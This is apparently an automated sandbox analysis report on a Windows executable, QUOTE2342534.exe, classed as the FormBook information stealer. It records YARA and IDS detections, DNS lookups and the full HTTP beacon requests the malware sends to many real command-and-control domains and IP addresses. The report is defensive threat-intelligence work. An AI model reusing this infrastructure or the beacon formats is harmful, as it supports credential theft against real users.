Windows Analysis Report
QUOTE2342534.exe

AI detected suspicious sample

Source: Yara match	File source: 4.2.QUOTE2342534.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.QUOTE2342534.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.4594417209.0000000003680000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2231861338.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.4594132519.0000000003340000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.4597123623.0000000004CB0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.4592913893.0000000002F20000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2232369881.0000000001620000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2233350481.0000000002F40000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.4594398823.0000000003FD0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: QUOTE2342534.exe

Joe Sandbox ML: detected

Source: QUOTE2342534.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: QUOTE2342534.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: mshta.pdbGCTL source: QUOTE2342534.exe, 00000004.00000002.2232065125.0000000001197000.00000004.00000020.00020000.00000000.sdmp, qnPyaKsYTE.exe, 00000007.00000002.4593662972.0000000000FB8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: qnPyaKsYTE.exe, 00000007.00000000.2154339993.000000000012E000.00000002.00000001.01000000.0000000C.sdmp, qnPyaKsYTE.exe, 0000000A.00000000.2297414318.000000000012E000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: wntdll.pdbUGP source: QUOTE2342534.exe, 00000004.00000002.2232503719.00000000016F0000.00000040.00001000.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.4594573230.0000000003810000.00000040.00001000.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.2232129759.00000000034B5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.2233823345.000000000366A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.4594573230.00000000039AE000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: iFFZ.pdbSHA256 source: QUOTE2342534.exe
Source:	Binary string: wntdll.pdb source: QUOTE2342534.exe, QUOTE2342534.exe, 00000004.00000002.2232503719.00000000016F0000.00000040.00001000.00020000.00000000.sdmp, mshta.exe, mshta.exe, 00000008.00000002.4594573230.0000000003810000.00000040.00001000.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.2232129759.00000000034B5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000003.2233823345.000000000366A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.4594573230.00000000039AE000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: iFFZ.pdb source: QUOTE2342534.exe
Source:	Binary string: mshta.pdb source: QUOTE2342534.exe, 00000004.00000002.2232065125.0000000001197000.00000004.00000020.00020000.00000000.sdmp, qnPyaKsYTE.exe, 00000007.00000002.4593662972.0000000000FB8000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Windows\SysWOW64\mshta.exe

Code function: 8_2_02F3C390 FindFirstFileW,FindNextFileW,FindClose,

8_2_02F3C390

Source: C:\Windows\SysWOW64\mshta.exe	Code function: 4x nop then xor eax, eax	8_2_02F29B10
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 4x nop then pop edi	8_2_02F2E030
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 4x nop then mov ebx, 00000004h	8_2_03B604DF

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:49787 -> 129.226.56.200:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:49787 -> 129.226.56.200:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49866 -> 162.0.215.33:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49877 -> 162.0.215.33:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49893 -> 162.0.215.33:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:49908 -> 162.0.215.33:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:49908 -> 162.0.215.33:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49940 -> 154.7.176.67:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49956 -> 154.7.176.67:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49972 -> 154.7.176.67:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49991 -> 118.139.178.37:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:49994 -> 118.139.178.37:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:49994 -> 118.139.178.37:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49996 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:49988 -> 154.7.176.67:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50004 -> 84.32.84.32:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50005 -> 84.32.84.32:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:49988 -> 154.7.176.67:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49992 -> 118.139.178.37:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49995 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50007 -> 84.32.84.32:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50008 -> 84.32.84.32:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:50010 -> 84.32.84.32:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:50010 -> 84.32.84.32:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49997 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50016 -> 154.9.228.56:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50013 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:50014 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50023 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:50014 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50012 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:50030 -> 129.226.176.90:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50032 -> 213.249.67.10:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:50030 -> 129.226.176.90:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50001 -> 209.74.64.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50020 -> 84.32.84.32:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49999 -> 209.74.64.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50024 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50033 -> 213.249.67.10:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50015 -> 154.9.228.56:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50028 -> 129.226.176.90:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50031 -> 213.249.67.10:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50037 -> 67.223.117.169:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50035 -> 67.223.117.169:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50011 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50017 -> 154.9.228.56:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:50034 -> 213.249.67.10:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:50039 -> 129.226.56.200:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:50039 -> 129.226.56.200:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:50034 -> 213.249.67.10:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:49998 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:49998 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50021 -> 84.32.84.32:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50025 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50036 -> 67.223.117.169:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50029 -> 129.226.176.90:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:50018 -> 154.9.228.56:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:50018 -> 154.9.228.56:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:50006 -> 84.32.84.32:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:50006 -> 84.32.84.32:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50009 -> 84.32.84.32:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50040 -> 162.0.215.33:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:50038 -> 67.223.117.169:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:50038 -> 67.223.117.169:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50027 -> 129.226.176.90:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50000 -> 209.74.64.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:49993 -> 118.139.178.37:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50003 -> 84.32.84.32:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:50002 -> 209.74.64.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:50002 -> 209.74.64.190:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:50026 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:50026 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:50019 -> 84.32.84.32:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.5:50022 -> 84.32.84.32:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:50022 -> 84.32.84.32:80

Performs DNS queries to domains with low reputation

Source:

DNS query: www.xueerr.xyz

Source: Joe Sandbox View	ASN Name: ACPCA ACPCA
Source: Joe Sandbox View	ASN Name: AS-26496-GO-DADDY-COM-LLCUS AS-26496-GO-DADDY-COM-LLCUS
Source: Joe Sandbox View	ASN Name: TENCENT-NET-AP-CNTencentBuildingKejizhongyiAvenueCN TENCENT-NET-AP-CNTencentBuildingKejizhongyiAvenueCN
Source: Joe Sandbox View	ASN Name: METAREGISTRARNL METAREGISTRARNL

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /28kl/?7Bohe=ZkKAB6qSK6F5HsjBEzwiMizWOSJwTbSi5er0Koahj7mpnIIYqRoLKzbDk71u2k+MO6tmUyIoyOO9F/o0RCIBFZEb81/8BfbGrnNiAiZNS4xvfhhZvRECGHuLoGBIxYjXhw==&vD=h0e85v HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.dxfwrc2h.sbsConnection: closeUser-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Source: global traffic	HTTP traffic detected: GET /4bpc/?7Bohe=W6c12MBAM7+Q3p2I42CNcaaX4meOt2NlPYb0dUqqy/7eqOW0wKa7H8cBCmolVGR7OaXpdOvS7kWyFQKJ7xuZambhzJ6Jbz/iDls78L0zlt4s48FcRMJ2uoIWwWqypjO6Yg==&vD=h0e85v HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.nieuws-july202491.sbsConnection: closeUser-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Source: global traffic	HTTP traffic detected: GET /oacu/?vD=h0e85v&7Bohe=QyeFQ+FiMQKSKdq/BKxG+5Ov1bwmlN3FnlPZyKM2ZYbXsZFvV/O3NTv6ZfeubWU6jSKaxDXQpId5DKUlUVN54eSFHJCOrp//l7em+zpeeu1iGig/Io/KcJQlUpo44DFlsQ== HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.putizhong.homesConnection: closeUser-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Source: global traffic	HTTP traffic detected: GET /o55g/?7Bohe=SntAYgquUuF8cmTqKgeHt96czNjKbI7walrzfjn5MBbpbz0DMUAQT5TGmaCmCOcjM4ET7TOvVUXTFF/O6lHSx5C+s9iWJ/mgfg63citE2SV2GP/8IEdknZeeY7ynAeJL4g==&vD=h0e85v HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.coba168.infoConnection: closeUser-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Source: global traffic	HTTP traffic detected: GET /kb53/?7Bohe=1b0Bx/9NiZhb6KmmoJd23RBorG5xllzN0i8gdStRuw/8VfKYv2Om9x/jS97CLdhlzFEmDVkAPiLAZwnB3Rwit6hYzhYwWiv4x0tew8h6s38ig+exADmGM0H8mBfgPTkFYw==&vD=h0e85v HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.everyone.golfConnection: closeUser-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Source: global traffic	HTTP traffic detected: GET /elh0/?7Bohe=pzF/mZhnV0GSmLX+GycMwU6WT06CzqVGvQudBfY4Dqjs/3KtcpfJYGVadgWONk/4osLjzgZwgHUQ0ZwKAvTdTnbY8Qd/xTrHuaQfE1OzRfvOWlfeun0LuB51rXnhStJusg==&vD=h0e85v HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.royapop.onlineConnection: closeUser-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Source: global traffic	HTTP traffic detected: GET /deo6/?7Bohe=NByBCVC4fvk3zNlObrJyagJtuzfI3YQ4Ad7pkV0ATPDcP1/VdlZwhks7LZ4Zlk95UTsGsfg9gVB7u8RemM4hoUvK2Ig2OY9rZRI88AWKe5yd8pSEv6a6wulMHxqZW9lecA==&vD=h0e85v HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.b-ambu.comConnection: closeUser-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Source: global traffic	HTTP traffic detected: GET /r966/?vD=h0e85v&7Bohe=St0zOmS57JvxXHngaoKRrYwJhw67SG7V3FAZs2TYvCYNXtW49c+AatXE2ZBTP/KNdGCD9DmtL2naWYac77vyUP4q1YSJ6U5Kf8MwRQ43aJ1o9SgGH2ER+UvSNI1J5J1sVQ== HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.livpure-grab.onlineConnection: closeUser-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Source: global traffic	HTTP traffic detected: GET /4nqw/?7Bohe=TM4wmIiUDmnTKniklQ90uhNUhJ9wAlE9nf/Yl9jXXOP3K1JO7ypWLJJbcPRG/mn1E4sifjVCDcv63SEcY+fHR48yBI63+DhGjujcAAYsRe1/gzF87OhGQiowvZSxcJ02Hg==&vD=h0e85v HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.bandukchi.comConnection: closeUser-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Source: global traffic	HTTP traffic detected: GET /djad/?7Bohe=OgBIZAb3K3QVmDSyooTSIAO5Tll+jwwdUI93t9cTrZTAkguQuNIIHt4CXXwiEPUK7V7i0FBLQRxFESBesMpHDzV+LIhV5qbZyNO4rVJKeHZqQ73AKCfxWCZcLIU2txA0ig==&vD=h0e85v HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.mcse.topConnection: closeUser-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Source: global traffic	HTTP traffic detected: GET /2vbz/?7Bohe=qlAZWX/ch455H6hDeAWyjxeCoVjeFLImmNyoFLJZcRWWfOSwb/dYbmE5Lo+ESXiDiuCMQOi3bdztXr54sGaKYuw5X5+G7ZC+wzrMILyG35q/IsHjv6ziuhAlYbb1UGsQUw==&vD=h0e85v HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.voidzero.techConnection: closeUser-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Source: global traffic	HTTP traffic detected: GET /cvus/?7Bohe=L6/IgR7jnWgHAqCUWtdTnyQ3KOMoF6iy/gVxl52J0nU+SVs5srMG6NDyylAnxUOxWBqWqLnFW3nZioCT6UqXKC7zbsKc4BTPzCMAY+nXmzAcPovgamuSI2ghdEMnHjenpA==&vD=h0e85v HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.huwin.clubConnection: closeUser-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Source: global traffic	HTTP traffic detected: GET /vhqd/?7Bohe=WoZBIA9oyl+J2b4VfTP9l9A782ZII/35uSr01551g8NzakXtA+Pa5+JAPkHp6kowgs8acnK71ZwIZDZByVYOuYH08N3N2lAmC4I9AOVCDFEu0aUC6s+F7cMMpoEI61JPvA==&vD=h0e85v HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.xueerr.xyzConnection: closeUser-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Source: global traffic	HTTP traffic detected: GET /z0t0/?7Bohe=9B/xOqaHJLGzhK9+asydflyTnlILmfDyrXYYsxrw44oQhSljsJ3AUyXQia4yxUul1qSv48mAxItuxzOnZ7dQ4iYj8ngc1biNZhlnUORZPI7XnMKBVwak16kasN63mT84/Q==&vD=h0e85v HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.onlineblikje.onlineConnection: closeUser-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Source: global traffic	HTTP traffic detected: GET /3x2e/?7Bohe=LxBS6Twi9uZYinzDVhZFrrwHDjbbsejF2aCFyI0NTfR3MRAzX3VYMflTVpKBnal2v445F0Z9ZuD89KJE1ZsSKujcQCdh/qxt+vHDLhQvad3slFytU7/EPl4Sr/TZznzmuw==&vD=h0e85v HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.rtpsilva4d.clickConnection: closeUser-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Source: global traffic	HTTP traffic detected: GET /28kl/?7Bohe=ZkKAB6qSK6F5HsjBEzwiMizWOSJwTbSi5er0Koahj7mpnIIYqRoLKzbDk71u2k+MO6tmUyIoyOO9F/o0RCIBFZEb81/8BfbGrnNiAiZNS4xvfhhZvRECGHuLoGBIxYjXhw==&vD=h0e85v HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.9Host: www.dxfwrc2h.sbsConnection: closeUser-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4

Source: global traffic	DNS traffic detected: DNS query: www.dxfwrc2h.sbs
Source: global traffic	DNS traffic detected: DNS query: www.nieuws-july202491.sbs
Source: global traffic	DNS traffic detected: DNS query: www.putizhong.homes
Source: global traffic	DNS traffic detected: DNS query: www.coba168.info
Source: global traffic	DNS traffic detected: DNS query: www.everyone.golf
Source: global traffic	DNS traffic detected: DNS query: www.royapop.online
